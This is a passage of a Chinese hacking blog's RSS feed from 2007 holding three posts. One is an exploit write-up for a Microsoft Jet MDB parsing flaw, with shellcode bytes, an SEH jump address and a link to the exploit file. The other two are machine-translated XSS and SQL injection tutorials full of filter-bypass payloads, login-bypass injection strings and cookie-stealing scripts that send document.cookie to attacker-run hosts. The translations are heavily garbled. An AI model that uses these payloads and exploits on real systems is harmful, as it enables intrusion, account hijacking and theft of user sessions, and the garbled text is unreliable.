f4 05-00 c0 f5 05 9c 78 e6 05 <............x..<br/>0013dba0 e8 dc 13 00 05 10 92 7c-38 78 e6 05 eb cb 00 1b .......&#124;8x......<br/>0013dbb0 80 9f a4 05 b0 98 a4 05-01 00 00 00 f2 cb 00 1b ................<br/>0013dbc0 9c 78 e6 05 e8 dc 13 00-4c dc 13 00 4c dc 13 00 .x......L...L...<br/>0013dbd0 01 00 00 00 60 f3 00 1b-80 9f a4 05 02 00 00 00 ....`...........<br/><br/><br/>长度0x5200足以使我们写数据到<br/>地址所在seh酶处理指针，以使我们能够改写<br/>SEH酶处理。 我使用下列地址，以跳转到shellcode ： <br/><br/>1B0D4C42 FF55 0C call dword ptr [ebp+C]<br/><br/>这份施政报告，也是在msjet40.dll ，所以它可以绕过安全<br/>特点seh酶在windows xp sp2中，并[ebp+0Ch] 恰好点<br/>源数据。 <br/><br/>调试信息：<br/><br/>eax=00000000 ebx=00000000 ecx=1b0d4c42 edx=7c9237d8 esi=00000000<br/>edi=00000000<br/>eip=1b0d4c42 esp=0013d750 ebp=0013d770 iopl=0 nv up ei pl<br/>zr na pe nc<br/>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000<br/>efl=00000246<br/>msjet40!Ordinal310+0x17e:<br/>1b0d4c42 ff550c call dword ptr [ebp+0Ch]<br/>ss:0023:0013d77c=0013e184<br/>0:000> dd ebp<br/>0013d770 0013d820 7c92378b 0013d838 0013e184<br/>0013d780 0013d854 0013d80c 1b0d4c42 00140000<br/>0013d790 0013d838 0013e184 7c957860 0013d838<br/>0013d7a0 0013e184 0013d854 0013d80c 1b0d4c42<br/>0013d7b0 00140000 0013d838 05f5f1b2 00000000<br/>0013d7c0 00000000 05e66458 01000000 0013d774<br/>0013d7d0 01c8281c 0013da04 7c92ee18 7c98d8a8<br/>0013d7e0 ffffffff 7c98d886 7c969d18 04ba0000<br/>0:000> db 0013e184<br/>0013e184 75 06 74 04 42 4c 0d 1b-fc e8 44 00 00 00 8b 45 u.t.BL....D....E<br/>0013e194 3c 8b 7c 05 78 01 ef 8b-4f 18 8b 5f 20 01 eb 49 <.&#124;.x...O.._ ..I<br/>0013e1a4 8b 34 8b 01 ee 31 c0 99-ac 84 c0 74 07 c1 ca 0d .4...1.....t....<br/>0013e1b4 01 c2 eb f4 3b 54 24 04-75 e5 8b 5f 24 01 eb 66 ....;T$.u.._$..f<br/>0013e1c4 8b 0c 4b 8b 5f 1c 01 eb-8b 1c 8b 01 eb 89 5c 24 ..K._.........&#92;$<br/>0013e1d4 04 c3 31 c0 64 8b 40 30-85 c0 78 0c 8b 40 0c 8b ..1.d. (at) 0..x (dot) . [email concealed]@..<br/>0013e1e4 70 1c ad 8b 68 08 eb 09-8b 80 b0 00 00 00 8b 68 p...h..........h<br/>0013e1f4 3c 5f 31 f6 60 56 89 f8-83 c0 7b 50 68 7e d8 e2 <_1.`V....&#123;Ph~..<br/><br/>75 06&#124; + &#124;74 04&#124; + &#124;42 4C 0D 1B&#124; + &#124;FC E8 44 00 ...<br/><br/>&#123;JNZ 6&#125; + &#123;JZ 4&#125; + 1B0D4C42h + shellcode<br/><br/><br/>相关内容在所附件<br/><br/>microsoft_jet_engine_mdb_file_parsing_exploit.mdb " ，是从<br/> 0 x3336开始的。 <br/><br/>公告说，有些<br/>网络空间供应商也可能受到影响的话，攻击者可以上传<br/>asp和mdb的文件，并利用它通过服务器对象<br/> " adodb.connection " 。 <br/><br/>如何复制：<br/><br/>开放所附文件<br/>microsoft_jet_engine_mdb_file_parsing_exploit.mdb "OFF接入<br/> 2003年sp3的关于windows xp sp2的，那么" calc.exe " ，将被处决，请<br/>不使用开发为攻击。 <br/><br/>所附文件是：<br/><br/><a href="http://ruder.cdut.net/attach/ms_mdb_vul/microsoft_jet_engine_mdb_file_pa" target="_blank">http://ruder.cdut.net/attach/ms_mdb_vul/microsoft_jet_engine_mdb_file_pa</a><br/>rsing_Exploit.rar rsing_exploit.rar<br/><br/>md5散列： 73243b8823c8dc2c88ae0529ca13c4c6 <br/><br/>厂商回应：<br/><br/>微软回答我表示，他们不会修复这个漏洞，<br/>看来，他们不会承认的脆弱性，这是由<br/> mdb的档案。 <br/><br/> "你似乎是报告的一个问题，以文件类型微软<br/>许多节目，如网络浏览器和<br/>展望，自动阻止这些档案。 欲知详情，请<br/>访问<a href="http://support.microsoft.com/kb/925330" target="_blank">http://support.microsoft.com/kb/925330</a> " <br/><br/>
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/190/</link>
<title><![CDATA[[翻译]XSS  SQL注入]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Fri, 20 Jul 2007 06:08:57 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/190/</guid> 
<description>
<![CDATA[ 
	[翻译]XSS &amp; SQL注入<br/>本帖被 stealthwalker 设置为精华(2007-06-20) <br/>文章作者：CyberPhreak<br/>译文作者：黯魂 [S.S.T]<br/>信息来源：脚本安全小组（<a href="http://www.cnsst.org" target="_blank">www.cnsst.org</a>）<br/><br/><br/>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX <br/>X Web Security - XSS &amp; more X <br/>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX <br/><br/><br/>~介绍<br/><br/>在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.<br/><br/>XXXXXXXXXXXXXXXXXXXXX <br/>X Table OF Contents X <br/>XXXXXXXXXXXXXXXXXXXXX <br/><br/>XXXXXXXXXXXXXXXXXXXX <br/>X Cookie Editing X <br/>X XSS X <br/>X SQL Injection X <br/>XXXXXXXXXXXXXXXXXXXX<br/><br/>~什么是cookie<br/><br/>cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.<br/><br/>~警告&amp;欺骗<br/><br/>那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:<br/><br/>strusername=cnsst;strpassword=cnsst<br/><br/>此时假设你知道&#039;bitch&#039;是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie=&quot;strusername=bitch&quot;)<br/>现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...<br/><br/>~什么是XSS<br/><br/>XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.<br/><br/>~为什么使用XSS<br/><br/>很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:&lt;input name=&quot;name&quot; type=&quot;name&quot;&gt;<br/>你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.<br/><br/>~让我们开始吧…<br/><br/>我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.<br/><br/>XSS--跨站脚本<br/><br/><br/>Copy code<br/>&lt;html&gt; <br/>&lt;body&gt; <br/>&lt;form action=&quot;&quot; method=&quot;GET&quot;&gt; <br/>&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt; <br/>Script: &lt;input name=&quot;name&quot; type=&quot;name&quot;&gt; <br/>&lt;input type=&quot;submit&quot; value=&quot;submit&quot;&gt; <br/>&lt;/form&gt; <br/>&lt;/body&gt; <br/>&lt;/html&gt; <br/><br/>&lt;?php <br/>$name = $_GET[&#039;name&#039;]; <br/>echo(&quot;Hello $name&quot;); <br/>?&gt;<br/><br/>OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:<br/><br/>cnsst<br/>&quot;Hello cnsst!&quot;<br/><br/>引号内的信息就是输出信息..注意看,现在我输入:<br/>&lt;script&gt;alert(document.cookie)&lt;/script&gt; <br/><br/>那么它将会弹出document.cookie!所以它是易受XSS攻击的!<br/><br/>现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...<br/><br/>服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...<br/><br/>已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.<br/><br/>让我们看一个稍微复杂点的例子!<br/><br/>假设你已经输入了&lt;script&gt;alert(document.cookie)&lt;/script&gt;,并且回显是这样的:<br/>scriptalert(document.cookie)/script<br/>或者可能是这样的:<br/>scriptalertdocument.cookie/script<br/><br/>可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的&quot;&lt;&gt;&quot;都被空字符&quot; &quot;替换了.<br/><br/>让我们继续利用:<br/>&lt;&lt;script&gt;&gt;alert(document.cookie)&lt;&lt;/script&gt;&gt; <br/><br/>你的输出将弹出document.cookie.<br/><br/>现在来看看更狠的:<br/>&lt;&lt;script&gt;&gt;alert((document.cookie))&lt;&lt;//script&gt;&gt;<br/><br/><br/>他们可能会替换所有的,或者只是&quot;&lt;&gt;&quot;.所以如果一对不能得以执行,另一对就可以.现在,如果你看到:<br/>scriptalertdocument.cookie/script <br/>或者 &lt;&lt;&lt;script&gt;&gt;&gt;alert(document.cookie)&lt;&lt;&lt;/script&gt;&gt;&gt; &nbsp;<br/><br/>他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:<br/>&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br/><br/>输出像这样:srplert(document.cookie)srp<br/><br/>仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了&quot;&lt;&gt;&quot;以及script部分.怎么绕过?看看这个:<br/>&lt;&lt;sccriiptt&gt;&gt;aalert(document.cookie)&lt;&lt;//sccriiptt&gt;&gt;<br/><br/>所有重复多余的部分刚好被替换!现在让我们来点更高级的!<br/><br/>这次他们使用的仍然是替换,但是却检查了整个字符串!例如:<br/>&lt;script&gt;alert(document.cookie)&lt;/script&gt; <br/><br/>输出将是:<br/>scriptalert(document.cookie)script<br/><br/>看到这,你激动地说,&quot;我知道该怎么做了!&quot; OK,让我们按照你的方法来重新构造:<br/>&lt;&lt;script&gt;&gt;alert(document.cookie)&lt;&lt;/script&gt;&gt; <br/><br/>输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的&lt;&gt;.可是,他们替换了任何&quot;&lt;&gt;&quot;,无论你输入多少个...看到我说&quot;任何&quot;了吗?使用下面这个例子:<br/><br/>&lt; <br/>script <br/>&gt; <br/>alert <br/>( <br/>document <br/>. <br/>cookie <br/>) <br/>&lt; <br/>/ <br/>script <br/>&gt;<br/><br/><br/>看看它,它没有替换&quot;&lt;&gt;&quot;,它替换代码关键字.所以即便你写的是一句没有&quot;&lt;&gt;&quot;的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是&quot;alert&quot;! 我们又该怎么改进呢?看看这个:<br/>&lt;<br/>s <br/>c <br/>r <br/>i <br/>p <br/>t <br/>&gt; <br/>a <br/>l <br/>e <br/>r <br/>t <br/>( <br/>d <br/>o <br/>c <br/>u <br/>m <br/>e <br/>n <br/>t <br/>. <br/>c <br/>o <br/>o <br/>k <br/>i <br/>e <br/>) <br/>&lt; <br/>/ <br/>s <br/>c <br/>r <br/>i <br/>p <br/>t <br/>/ <br/>&gt;<br/><br/>这下应该可以了,但是如果他们仍然替换&quot;&lt;&quot;,你可以增加2对&quot;&lt;&lt; &gt;&gt;&quot;(并且你可以用任何字符取代document.cookie)<br/><br/>还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.<br/><br/>现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.<br/><br/>首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.<br/><br/>我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.<br/>document.forms(0).action =&quot;<a href="http://myserver/myscript.php" target="_blank">http://myserver/myscript.php</a><br/>这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.<br/><br/>再次假设你在网站上注册了一个帐号,并且可以自定义资料...<br/>document.images(0).src=&quot;<a href="http://myserver/cookie.php&quot;+document.cookie." target="_blank">http://myserver/cookie.php&quot;+document.cookie.</a><br/>或者如果你有空间可以存放指向自定义内容的链接,你可以输入:<br/>javascript:location.href=&quot;<a href="http://myserver/cookie.php&quot;+document.cookie" target="_blank">http://myserver/cookie.php&quot;+document.cookie</a> <br/>这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.<br/><br/>有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,<br/><br/>Quote:<br/>telnet example.com <br/>GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1 <br/>User-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt; <br/>Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;<br/><br/><br/>~什么是SQL注入<br/><br/>SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:<br/><br/><br/>Copy code<br/>&lt;html&gt; <br/>&lt;body&gt; <br/>&lt;form action=&quot;&quot; method=&quot;POST&quot;&gt; <br/>Username: &lt;input name=&quot;name&quot; type=&quot;name&quot;&gt; <br/>Password: &lt;input name=&quot;password&quot; type=&quot;password&quot;&gt; <br/>&lt;input type=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Submit&quot;&gt; <br/>&lt;/form&gt; <br/>&lt;/body&gt; <br/>&lt;/html&gt;<br/><br/>这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!<br/><br/>最简单的攻击是在用户名和密码那里输入&quot;&#039;&quot;.如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.<br/><br/>&#039;=&#039; <br/>&#039;OR 1=1-- <br/>&#039;OR a=a-- <br/>&#039;OR&#039;<br/><br/>自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:<br/><br/>&#039;OR&#039;&#039;=&#039; <br/>&#039;OR&quot;=&quot; <br/>&#039;OR&#039;=&quot; <br/>&#039;OR &#039;=&quot; <br/>&#039;OR &quot;=&#039; <br/>&#039;OR &#039;&#039;=&#039; <br/>&#039;OR &#039;=&#039;&#039; <br/>&#039;OR &quot;=&#039;&#039; <br/>&#039;OR &#039;&#039;=&quot;<br/><br/><br/>~<br/>现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.<br/>UNION ALL SELECT username,password FROM users<br/><br/>这个查询语句将执行,但是….如果毫无作用呢?<br/>UNION ALL SELECT username,password FROM users WHERE username=&#039;OR &quot;=&#039; <br/>AND password=&#039;OR &quot;=&#039;<br/><br/>你可能使用其他字符来替代&#039;OR &quot;=&#039;以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.<br/><br/>一旦你发现了漏洞,你就会按照习惯去用类似&#039;OR &quot;=&#039;的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:<br/>UNION ALL SELECT <br/>ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs <br/>WHERE ip=&#039;OR&#039;&#039;=&quot;<br/><br/>现在你看到这个了吗?(我确信你已经看到了)<br/><a href="http://example.com/index.php?article=34" target="_blank">http://example.com/index.php?article=34</a> <br/>那将浏览Id为34的文章...让我们用&quot;&#039;&quot;替换34:<br/><a href="http://example.com/index.php?article=&#039;" target="_blank">http://example.com/index.php?article=&#039;</a> <br/><br/><br/>现在,记住我所说的,大多数人都没有意识到&#039;所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:<br/><a href="http://example.com/index.php?article=&#039;" target="_blank">http://example.com/index.php?article=&#039;</a> <br/><a href="http://example.com/index.php?article=&#039;=&#039;" target="_blank">http://example.com/index.php?article=&#039;=&#039;</a> <br/><a href="http://example.com/index.php?article=&#039;OR" target="_blank">http://example.com/index.php?article=&#039;OR</a> 1=1-- <br/><a href="http://example.com/index.php?article=&#039;OR" target="_blank">http://example.com/index.php?article=&#039;OR</a> a=a-- <br/><a href="http://example.com/index.php?article=&#039;OR" target="_blank">http://example.com/index.php?article=&#039;OR</a> &#039;=&quot; <br/><a href="http://example.com/index.php?article=&#039;OR" target="_blank">http://example.com/index.php?article=&#039;OR</a> &quot;=&#039; <br/><a href="http://example.com/index.php?article=&#039;OR" target="_blank">http://example.com/index.php?article=&#039;OR</a> &#039;&#039;=&#039; <br/><a href="http://example.com/index.php?article=&#039;OR" target="_blank">http://example.com/index.php?article=&#039;OR</a> &#039;=&#039;&#039; <br/><a href="http://example.com/index.php?article=&#039;OR&#039;&#039;=&#039;" target="_blank">http://example.com/index.php?article=&#039;OR&#039;&#039;=&#039;</a> <br/><a href="http://example.com/index.php?article=&#039;OR&quot;&#039;=&#039;" target="_blank">http://example.com/index.php?article=&#039;OR&quot;&#039;=&#039;</a> <br/><a href="http://example.com/index.php?article=&#039;OR&quot;&#039;&#039;=&#039;" target="_blank">http://example.com/index.php?article=&#039;OR&quot;&#039;&#039;=&#039;</a> <br/><br/>尽情发挥自己的创造力!<br/>
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/187/</link>
<title><![CDATA[[翻译] Xss 由Example]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Thu, 19 Jul 2007 17:17:42 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/187/</guid> 
<description>
<![CDATA[ 
	[翻译] Xss 由Example<br/><br/><br/>原文作者：netelemental<br/>原文地址：<a href="http://www.criticalsecurity.net/index.php?showtopic=3849" target="_blank">http://www.criticalsecurity.net/index.php?showtopic=3849</a><br/><br/><br/><br/>注: - &gt; 意味线的继续。这保存格式化为这些委员会。即以下二是相同:<br/><br/>代码<br/>lolcrosssitescripting<br/><br/>代码<br/>lolcross<br/>-&gt;sitescripting<br/><br/>注: IPB 分离Java&#124;剧本(没有 &#124;) 入Java 剧本, 因此记得, Java 剧本实际上没有空间。<br/>好人, 我最近能注射Java 语言在一个大站点运用方法被选派在本文里。依照被许诺, 一个星期通过了自从我完成了本文。我报告了臭虫但未检查看如果它被修理了并且被接触了。决不愿我透露站点的身分。本文使用制表符和其它formating, 因此为一张更好的神色支票在拷贝之外以doc 形式在我的站点在 <a href="http://netelemental.no-ip.org/XSS.doc" target="_blank">http://netelemental.no-ip.org/XSS.doc</a> 。请, 问题和评论和批评wellcome 。 我注意缺乏兴趣在XSS 在HTS 这那么有希望地将缓和那。 有希望地这意志帮助人民新对XSS 。<br/><br/>并且我希望利用这机会appologize 对Kuja 打电话他蠢人一次, 我没有意味它我简单地是在一种坏心情。(IMG:style_emoticons/default/cool.gif) <br/><br/>发怒站点Scripting(&#039;XSS 的) 由Example<br/>由NetElemental<br/><br/>目录<br/>1.Why 这被写了。<br/>2.The 宗旨。<br/>3.The 文丐。<br/>4.The 结果的危险。<br/>5.The 解答。<br/>6.Resources<br/><br/>1. 为什么这被写了<br/>对我发怒站点scripting 是, 除或许社会工程学之外, 最大的威胁对联机用户那些日子。许多站点, 包括被使用得这里的未公开的站点, 是脆弱的横渡站点scripting 。未公开的站点特此将知道作为victim.com 。我有并且, 作为第二个目标, 给机敏的victim.com 被写本文关于他们的安全孔和怎么他们能修理他们。当我现在看, 站点有109,000,000+ 用户并且它使我惊奇这个缺点以前未被发现。我并且看创造嘲笑, 没有相似对原始的站点, 当然, 我发布给安全社区hackthissite.org 如果他们想要它或在我自己的站点如果他们不。当您读这的时候, victim.com 已经大概修理我突出在本文里的安全孔。我递交这给victim.com 以一个星期去在我发布本文给互联网和所有它的居住者之前。我只将公布victim.com 的名字以他们的允许并且好有一个小部分, 甚至一个评论在原始代码, 阐明, 站点受益于我的帮助(IMG:style_emoticons/default/wink.gif) <br/><br/>2. 宗旨<br/>在这个例子, 我们的受害者站点允许您创造&#039; 有他们自己的规则的微型&#039; 社区, 等级, 闲谈上, 和可能有竞争和这样。这些社区得到一个小地方, 他们能安置HTML 使他们的社区看起来更好, 并且更适合题材。例如, 爱狗的社区也许使用HTML 投入狗的图片到处。我并且会希望注意此时, 这是很可能multibug, 尽管有其它地方您能投入HTML 为其他人对看法和我怀疑站点有唯一安全作用或组。<br/>我们将试图剥削他们让您使用HTML 以便我们能注射Java 语言。如果我们能注射Java 语言, 我们能实际上接管用户帐号和或者用途Java 语言自动地操作用户帐号, 譬如迫使用户参加社区是否他们要对或不是如果他们非常作为神色在首页, 或窃取用户的&#039; 点的由使他们买一个昂贵的项目由用户。这能并且使用改用户方向到色情网站或网站安置virii 、spyware 、adware, 或其它恶意内容在用户的计算机。<br/><br/>3. 文丐<br/>好因此我们知道我们能使用HTML, 但他们说他们不允许是的Java 语言因此我们看多么真实。我们首先开始与简单的材料, 以便我们开始与剧本标记的手段。<br/><br/>代码<br/>&lt; script&gt;alert(&#039;0wned&#039;)&lt;/script &gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>- 阻拦alert(&#039;XSS&#039;) 阻拦<br/><br/><br/>Hmm 因此他们实际上阻拦剧本标记! 真是惊奇! 好那么其次若我们能投入与某一Java 语言将连接的链接?<br/><br/>代码<br/>&lt; href=4a..java script:alert(&#039;0wned&#039;)4a..&gt;Click Here&lt;/a &gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>- 阻拦点击Here&lt;/a &gt;<br/><br/><br/>Ahh k 他们如此过滤那也是。我看见, 他们如此虽则删掉了整个&lt; a &gt; 标记若我们投入了Java 语言在图象呢?<br/><br/>代码<br/>&lt; img src=4a..java script:alert(&#039;0wned&#039;)4a../&gt;<br/><br/><br/>但等待... 错误信息! src 标记对结束被限制按某些价值! (笔记: 这个错误信息被修改保护原始的站点的身分。<br/>行情<br/><br/>抱歉! src 嵌入文件也许只结束在:<br/><br/>mp3<br/>jpeg<br/>gif<br/>bmp<br/>midi<br/>wav<br/>jpg<br/>mid<br/>png<br/><br/>您不可以使用任何&lt; src=alink &gt; 标记的形式埋置结束的文件<br/><br/>4a..java script:alert(0wned 从url: 4a..java script:alert(0wned<br/><br/>既使您没有使用&#039; img src &#039;, 这仍然适用于有&#039; src &#039; 在他们的所有标记。例如, &#039; 背景src &#039; 。<br/><br/><br/>什么关于如果我们曾经一个评论绕过这过滤器?<br/><br/>&lt; img src=4a..java script:alert(&#039;0wned&#039;)//.gif4a../&gt;<br/><br/>收效的HTML<br/>代码<br/><br/>- 阻拦<br/><br/><br/>好, 那么现在是我们开始真正的过滤器躲避的地方。我们若使用盖帽尝试和绕过看只为同样案件串的过滤器?<br/><br/>代码<br/>&lt; img src=4a..JaVa ScRiPt:alert(&#039;0wned.gif&#039;)4a../&gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>- 阻拦<br/><br/><br/>好, 我们若注射了不吉利的东西呢? 您需要工具做这。我推荐打嗝代理人, 运行在localhost:8080 将让您观看, 阻拦, 和修改请求的代理人。<br/><br/>代码<br/>&lt; img src=4a..%6.a%41%76%41%73%43%72%49%70%54:alert(&#039;owned.gif&#039;)4a../&gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>- 阻拦<br/><br/><br/>Uh oh 他们仍然得到了我们... 我们改变大头钉。我们使用DIV<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(java script:alert(&#039;0wned &#039;))&quot;&gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>- 阻拦<br/><br/><br/>Hmm 到目前为止看起来它寻找任一个标记以&#039; Java 语言&#039; 在它。我们若破坏它呢?<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp;scri<br/>pt:alert(&#039;0wned &#039;))&quot;&gt;<br/><br/><br/>不要问我为什么但这是合法的javascript/HTML 在IE 。我使用firefox 因此我必须交换对IE 测试这。收效的HTML<br/>代码<br/><br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp; scri<br/>pt:alert(&#039;0wned &#039;))&quot;&gt;<br/><br/>立刻在看见这我交换了对IE 和猜测什么? 信息框给权了&#039; 0wned &#039; 突然出现! 那么下步: 简单, 明显的曲奇饼grabber<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp;scri<br/>pt:document.location=http://netelemental.no-ip.org/cookie.php?cookie=&#039;+document.cookie)&quot;&gt;<br/><br/><br/>收效的HTML<br/>代码<br/><br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp; scri<br/>pt:document 。&nbsp;&nbsp;&nbsp;&nbsp; location=http://netelemental.no-ip.org/cookie.php?cookie=&#039;†document 。&nbsp;&nbsp;&nbsp;&nbsp; 曲奇饼))&quot;&gt;<br/><br/>我们设法使用eval 通过这。<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp;scri<br/>pt:eval(&quot;docu&quot; +&quot;ment.location=http://netelemental.no-ip.org/c.php?c = &#039; +doc&quot;+&quot;ument.cookie&quot;))&quot;&gt;<br/><br/><br/>收效的HTML:<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp; scri<br/>pt: 阻拦&quot;docu&quot;†&quot;ment.location=http://netelemental.no ip.org/c.php?c = &#039; †doc&quot;†&quot;ument.cookie4a..))&quot; &gt;<br/><br/>好因此他们改变文件和eval 以便它使Java 语言无用当同时不影响一个合法的文件的神色。好, 我们若转换了这成HTML 不吉利的东西, 因为它是在CSS 声明?<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp;scri<br/>pt:document&amp;#x2.E;l<br/>-&gt;ocation=&#039;ht<br/>-&gt;tp&amp;#x3.A;//netele<br/>-&gt;mental&amp;#x2.E;no-i<br/>-&gt;p&amp;#x2.E;org/cooki<br/>-&gt;e&amp;#x2.E;php?cooki<br/>-&gt;e=&#039;+documen<br/>-&gt;t&amp;#x2.E;cookie)&quot;&gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>&lt; DIV STYLE=&quot;background 图象: url(j<br/><br/>ava&nbsp;&nbsp;&nbsp;&nbsp; scri<br/>pt:document&amp;#x2.E;l<br/>-&gt;ocation=&#039;ht<br/>-&gt;tp&amp;#x3.A;//netele<br/>-&gt;mental&amp;#x2.E;no-i<br/>-&gt;p&amp;#x2.E;org/cooki<br/>-&gt;e&amp;#x2.E;php?cooki<br/>-&gt;e=&#039;+documen<br/>-&gt;t&amp;#x2.E;cookie)&quot;&gt;<br/><br/>猜测什么? 我们食用曲奇饼! 我尝试了并且这有效。您能简单地现在使用Java 